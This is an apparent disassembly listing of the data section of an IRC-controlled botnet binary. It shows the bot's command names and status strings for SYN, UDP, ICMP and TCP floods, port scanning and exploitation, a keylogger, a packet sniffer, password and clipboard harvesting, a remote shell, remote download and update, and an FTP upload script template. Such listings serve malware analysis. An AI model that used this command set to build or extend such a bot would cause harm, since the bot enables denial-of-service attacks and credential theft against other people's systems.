		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '   TCP redirect created from: %s:%d to: %s:%d.',0
unk_431504	db    2			; DATA XREF: sub_40EE72+3620o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_20	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_431550	db    2			; DATA XREF: sub_40EE72+35B1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_40EE72+352Do
		align 4
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_40EE72+3430o
		align 4
dword_4315BC	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_40EE72+33A2o
					; sub_40EE72+43EFo
unk_4315C8	db    2			; DATA XREF: sub_40EE72+3340o
					; sub_40EE72+5179o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_21	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_431610	db    2			; DATA XREF: sub_40EE72+32D1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
aSequential	db 'Sequential',0       ; DATA XREF: sub_40EE72+32A6o
					; sub_40EE72+50DDo
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_40EE72+329Fo
					; sub_40EE72+50D6o
		align 4
unk_431694	db    2			; DATA XREF: sub_40EE72+3161o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_22	db '  Failed to start scan, no IP specified.',0
		align 4
unk_4316D8	db    2			; DATA XREF: sub_40EE72+301Ao
					; sub_40EE72+4F21o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
dword_431724	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2FE9o
		dd 2BBBB02h
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_43176C	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2F7Ao
		dd 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE72+2EA2o
		align 4
unk_4317DC	db    2			; DATA XREF: sub_40EE72+2E8Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_24	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_431824	db    2			; DATA XREF: sub_40EE72+2E22o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_43187C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_411BF4o
		dd 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 4
dword_4318C4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2D78o
		dd 2BBBB02h
aFailedToSta_25	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_43190C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2CFEo
		dd 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 10h
aNormal		db 'Normal',0           ; DATA XREF: sub_40EE72+2CEEo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40EE72+2CE7o
dword_431960	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2C4Co
		dd 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_431998	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4119D3o
		dd 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_4319D4	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2B5Ao
		dd 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40EE72+2B43o
aSS_4		db '-s:%s',0            ; DATA XREF: sub_40EE72+2B2Co
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40EE72+2B09o
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40EE72+2AD4o
		align 4
dword_431A4C	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2A8Ao
		dd 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40EE72+2A67o
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40EE72+2A44o
		align 4
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40EE72+2A2Do
		align 4
unk_431AA4	db    3			; DATA XREF: sub_40EE72+2A11o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 65h
		db  6Dh	; m
		db 61h,	69h, 6Ch
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5MessageSentTo	db '5  Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40EE72+299Do
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a__0:					; DATA XREF: sub_40EE72+2901o
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40EE72+28B2o
		align 10h
aDdos_tcpf	db 'ddos.tcpf',0        ; DATA XREF: sub_40EE72+289Bo
		align 4
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: sub_40EE72+2884o
		align 4
aP:					; DATA XREF: sub_40EE72+286Do
		unicode	0, <p>,0
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: sub_40EE72+2856o
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: sub_40EE72+283Fo
		align 4
aU:					; DATA XREF: sub_40EE72+2828o
		unicode	0, <u>,0
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: sub_40EE72+2811o
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: sub_40EE72+27FAo
		align 4
aAdv		db 'adv',0              ; DATA XREF: sub_40EE72+27E3o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_40EE72+27CCo
aClone_ac	db 'clone.ac',0         ; DATA XREF: sub_40EE72+27A3o
		align 4
aClone_action	db 'clone.action',0     ; DATA XREF: sub_40EE72+278Co
		align 4
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_40EE72+2775o
		align 10h
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_40EE72+275Eo
		align 10h
aRoot_ps	db 'root.ps',0          ; DATA XREF: sub_40EE72+2747o
aRoot_portscan	db 'root.portscan',0    ; DATA XREF: sub_40EE72+2730o
		align 4
aDaemon_rd	db 'daemon.rd',0        ; DATA XREF: sub_40EE72+2719o
		align 4
aDaemon_redirec	db 'daemon.redirect',0  ; DATA XREF: sub_40EE72+2702o
aDownload_wg	db 'download.wg',0      ; DATA XREF: sub_40EE72+26EBo
aDownload_wget	db 'download.wget',0    ; DATA XREF: sub_40EE72+26D4o
		align 10h
aDdos_synf	db 'ddos.synf',0        ; DATA XREF: sub_40EE72+26BDo
		align 4
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40EE72+26A6o
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40EE72+264Ao
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40EE72+2633o
		align 4
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40EE72+260Ao
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40EE72+25F3o
		align 4
aCom_mv		db 'com.mv',0           ; DATA XREF: sub_40EE72+25DCo
		align 10h
aCom_rename	db 'com.rename',0       ; DATA XREF: sub_40EE72+25C5o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_40EE72+25AEo
		align 10h
aFindfile	db 'findfile',0         ; DATA XREF: sub_40EE72+2597o
		align 4
aCom_e		db 'com.e',0            ; DATA XREF: sub_40EE72+2580o
		align 4
aCom_execute	db 'com.execute',0      ; DATA XREF: sub_40EE72+2569o
aDownload_up	db 'download.up',0      ; DATA XREF: sub_40EE72+2552o
aDownload_updat	db 'download.update',0  ; DATA XREF: sub_40EE72+253Bo
aIrc_de		db 'irc.de',0           ; DATA XREF: sub_40EE72+2524o
		align 4
aIrc_delay	db 'irc.delay',0        ; DATA XREF: sub_40EE72+250Do
		align 10h
aIrc_rp		db 'irc.rp',0           ; DATA XREF: sub_40EE72+24F6o
		align 4
aIrc_repeat	db 'irc.repeat',0       ; DATA XREF: sub_40EE72+24DFo
		align 4
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40EE72+24C8o
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40EE72+24B1o
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40EE72+249Ao
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40EE72+2483o
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40EE72+246Co
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40EE72+2455o
		align 4
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40EE72+243Eo
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40EE72+2427o
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40EE72+2410o
		align 4
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40EE72+23F9o
		align 10h
aIrc_m		db 'irc.m',0            ; DATA XREF: sub_40EE72+23E2o
		align 4
aIrc_mode	db 'irc.mode',0         ; DATA XREF: sub_40EE72+23CBo
		align 4
aIrc_cy		db 'irc.cy',0           ; DATA XREF: sub_40EE72+23B4o
		align 4
aIrc_cycle	db 'irc.cycle',0        ; DATA XREF: sub_40EE72+239Do
		align 4
aIrc_ac		db 'irc.ac',0           ; DATA XREF: sub_40EE72+2386o
		align 10h
aIrc_action	db 'irc.action',0       ; DATA XREF: sub_40EE72+236Fo
		align 4
aIrc_pm		db 'irc.pm',0           ; DATA XREF: sub_40EE72+2358o
		align 4
aIrc_privmsg	db 'irc.privmsg',0      ; DATA XREF: sub_40EE72+2341o
aIrc_aa		db 'irc.aa',0           ; DATA XREF: sub_40EE72+232Ao
		align 4
aIrc_addalias	db 'irc.addalias',0     ; DATA XREF: sub_40EE72+2313o
		align 4
aIrc_gh		db 'irc.gh',0           ; DATA XREF: sub_40EE72+22EAo
		align 10h
aIrc_gethost	db 'irc.gethost',0      ; DATA XREF: sub_40EE72+22D3o
aCom_cap	db 'com.cap',0          ; DATA XREF: sub_40EE72+22BCo
aCom_capture	db 'com.capture',0      ; DATA XREF: sub_40EE72+22A5o
dword_431DF0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4110C9o
		dd 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_431E1C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4110C2o
		dd 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_431E4C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_411077o
		dd 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_431E78	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+21FEo
		dd 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: sub_40EE72+218Ao
		align 10h
dword_431EB0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_410FF1o
		dd 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 10h
dword_431EE0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2175o
		dd 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: sub_40EE72+211Fo
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_40EE72+20FDo
		align 10h
aContinue	db 'continue',0         ; DATA XREF: sub_40EE72+20E5o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_40EE72+20CDo
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_40EE72+20B5o
		align 4
dword_431F3C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_410F1Co
		dd 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 4
dword_431F6C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+20A0o
		dd 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_40EE72+2069o
		align 4
dword_431FA8	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2036o
		dd 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 10h
aCom_net	db 'com.net',0          ; DATA XREF: sub_40EE72+2012o
unk_431FF8	db    2			; DATA XREF: sub_40EE72+1FD1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aFailedToSta_26	db ' Failed to start logging thread, error: <%d>.',0
		align 4
unk_432044	db    2			; DATA XREF: sub_40EE72+1F66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_432074	db    2			; DATA XREF: sub_40EE72+1EE5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 4
unk_4320A4	db    2			; DATA XREF: sub_40EE72:loc_410D33o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 10h
unk_4320E0	db    2			; DATA XREF: sub_40EE72+1EB7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; ╩
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_40EE72+1E83o
					; sub_40EE72+1EF9o
		align 4
aCom_keylog	db 'com.keylog',0       ; DATA XREF: sub_40EE72+1E5Do
		align 10h
unk_432140	db    2			; DATA XREF: sub_40EE72:loc_410CC5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 4
unk_432178	db    2			; DATA XREF: sub_40EE72+1E49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
aOff		db 'off',0              ; DATA XREF: sub_40EE72+1E26o
					; sub_40EE72+1E94o
unk_4321C4	db    2			; DATA XREF: sub_40EE72+1E1Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aFailedToSta_27	db 'Failed to start sniffer thread, error: <%d>.',0
		align 10h
unk_432210	db    2			; DATA XREF: sub_40EE72+1DACo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 10h
unk_432250	db    2			; DATA XREF: sub_40EE72+1D45o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; ╩
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 10h
aOn		db 'on',0               ; DATA XREF: sub_40EE72+1D25o
					; sub_40EE72+1E72o
		align 4
aSniff		db 'sniff',0            ; DATA XREF: sub_40EE72+1D10o
		align 4
aCom_rf		db 'com.rf',0           ; DATA XREF: sub_40EE72+1CF9o
		align 4
aCom_readfile	db 'com.readfile',0     ; DATA XREF: sub_40EE72+1CE2o
		align 4
aCom_cm		db 'com.cm',0           ; DATA XREF: sub_40EE72+1CCBo
		align 4
aCom_cmd	db 'com.cmd',0          ; DATA XREF: sub_40EE72+1CB4o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40EE72+1C86o
					; sub_40EE72+1C9Do
		align 10h
aIrc_v		db 'irc.v',0            ; DATA XREF: sub_40EE72+1C6Fo
		align 4
aIrc_visit	db 'irc.visit',0        ; DATA XREF: sub_40EE72+1C58o
		align 4
aCom_fl		db 'com.fl',0           ; DATA XREF: sub_40EE72+1C41o
		align 4
aCom_filelist	db 'com.filelist',0     ; DATA XREF: sub_40EE72+1C2Ao
		align 4
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40EE72+1C13o
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40EE72+1BFCo
aCom_del	db 'com.del',0          ; DATA XREF: sub_40EE72+1BE5o
aCom_delete	db 'com.delete',0       ; DATA XREF: sub_40EE72+1BCEo
		align 10h
aCom_pkid	db 'com.pkid',0         ; DATA XREF: sub_40EE72+1BB7o
		align 4
aCom_prockillid	db 'com.prockillid',0   ; DATA XREF: sub_40EE72+1BA0o
		align 4
aCom_kpn	db 'com.kpn',0          ; DATA XREF: sub_40EE72+1B89o
aCom_killprocna	db 'com.killprocname',0 ; DATA XREF: sub_40EE72+1B72o
		align 4
aIrc_dn		db 'irc.dn',0           ; DATA XREF: sub_40EE72+1B5Bo
		align 10h
aIrc_dns	db 'irc.dns',0          ; DATA XREF: sub_40EE72+1B44o
aIrc_se		db 'irc.se',0           ; DATA XREF: sub_40EE72+1B2Do
		align 10h
aIrc_setserve	db 'irc.setserve',0     ; DATA XREF: sub_40EE72+1B16o
		align 10h
aCom_o		db 'com.o',0            ; DATA XREF: sub_40EE72+1AFFo
		align 4
aCom_open	db 'com.open',0         ; DATA XREF: sub_40EE72+1AE8o
		align 4
aIrc_pr		db 'irc.pr',0           ; DATA XREF: sub_40EE72+1AD1o
		align 4
aIrc_prefix	db 'irc.prefix',0       ; DATA XREF: sub_40EE72+1ABAo
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40EE72+1AA3o
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40EE72+1A8Co
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40EE72+1A75o
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40EE72+1A5Eo
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40EE72+1A47o
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40EE72+1A30o
		align 4
aIrc_ra		db 'irc.ra',0           ; DATA XREF: sub_40EE72+1A19o
		align 4
aIrc_raw	db 'irc.raw',0          ; DATA XREF: sub_40EE72+1A02o
aIrc_pt		db 'irc.pt',0           ; DATA XREF: sub_40EE72+19EBo
		align 4
aIrc_part	db 'irc.part',0         ; DATA XREF: sub_40EE72+19D4o
		align 4
aIrc_j		db 'irc.j',0            ; DATA XREF: sub_40EE72+19BDo
		align 10h
aIrc_join	db 'irc.join',0         ; DATA XREF: sub_40EE72+19A6o
		align 4
aIrc_n		db 'irc.n',0            ; DATA XREF: sub_40EE72+198Fo
		align 4
aIrc_nick	db 'irc.nick',0         ; DATA XREF: sub_40EE72+1978o
		align 10h
aSa		db 'sa',0               ; DATA XREF: sub_40EE72+1952o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_40EE72+193Do
aCom_fp		db 'com.fp',0           ; DATA XREF: sub_40EE72+1928o
		align 10h
aCom_findpass	db 'com.findpass',0     ; DATA XREF: sub_40EE72+1913o
		align 10h
aDaemon_tf_on	db 'daemon.tf.on',0     ; DATA XREF: sub_40EE72+18FEo
		align 10h
aDaemon_tftp_on	db 'daemon.tftp.on',0   ; DATA XREF: sub_40EE72+18E9o
		align 10h
aDaemon_web_on	db 'daemon.web.on',0    ; DATA XREF: sub_40EE72+18D4o
		align 10h
aDaemon_httpd_o	db 'daemon.httpd.on',0  ; DATA XREF: sub_40EE72+18BFo
aDaemon_rl_on	db 'daemon.rl.on',0     ; DATA XREF: sub_40EE72+18AAo
		align 10h
aDaemon_rlogi_0	db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE72+1895o
		align 4
aRoot_cip	db 'root.cip',0         ; DATA XREF: sub_40EE72+1880o
		align 10h
aRoot_currentip	db 'root.currentip',0   ; DATA XREF: sub_40EE72+186Bo
		align 10h
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40EE72+1856o
		align 4
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40EE72+1841o
		align 4
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40EE72+182Co
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40EE72+1817o
		align 4
aCom_gc		db 'com.gc',0           ; DATA XREF: sub_40EE72+1802o
		align 10h
aCom_getclip	db 'com.getclip',0      ; DATA XREF: sub_40EE72+17EDo
dword_43251C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+17DDo
		dd 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_40EE72+17A9o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40EE72+179Co
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40EE72+177Ao
		align 4
aIrc_who	db 'irc.who',0          ; DATA XREF: sub_40EE72+1761o
aCmd		db '[CMD]',0            ; DATA XREF: sub_40EE72+1756o
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40EE72+1751o
		align 4
aCom_ocmd_off	db 'com.ocmd.off',0     ; DATA XREF: sub_40EE72+1738o
		align 4
aCom_ocmd	db 'com.ocmd',0         ; DATA XREF: sub_40EE72+1723o
		align 4
aCom_opencmd	db 'com.opencmd',0      ; DATA XREF: sub_40EE72+170Eo
aCom_dll	db 'com.dll',0          ; DATA XREF: sub_40EE72+16F9o
aCom_testdlls	db 'com.testdlls',0     ; DATA XREF: sub_40EE72+16E4o
		align 4
aCom_drv	db 'com.drv',0          ; DATA XREF: sub_40EE72+16CFo
aCom_driveinfo	db 'com.driveinfo',0    ; DATA XREF: sub_40EE72+16BAo
		align 4
aCom_up		db 'com.up',0           ; DATA XREF: sub_40EE72+16A5o
		align 4
aCom_uptime	db 'com.uptime',0       ; DATA XREF: sub_40EE72+1690o
		align 4
aCom_key	db 'com.key',0          ; DATA XREF: sub_40EE72+167Bo
aCom_harvest	db 'com.harvest',0      ; DATA XREF: sub_40EE72+1666o
aCom_ps		db 'com.ps',0           ; DATA XREF: sub_40EE72+1651o
		align 4
aCom_procs	db 'com.procs',0        ; DATA XREF: sub_40EE72+163Co
		align 10h
aIrc_rm0	db 'irc.rm0',0          ; DATA XREF: sub_40EE72+1627o
aIrc_rem0ve	db 'irc.rem0ve',0       ; DATA XREF: sub_40EE72+1612o
		align 4
aCom_si		db 'com.si',0           ; DATA XREF: sub_40EE72+15FDo
		align 4
aCom_sysinfo	db 'com.sysinfo',0      ; DATA XREF: sub_40EE72+15E8o
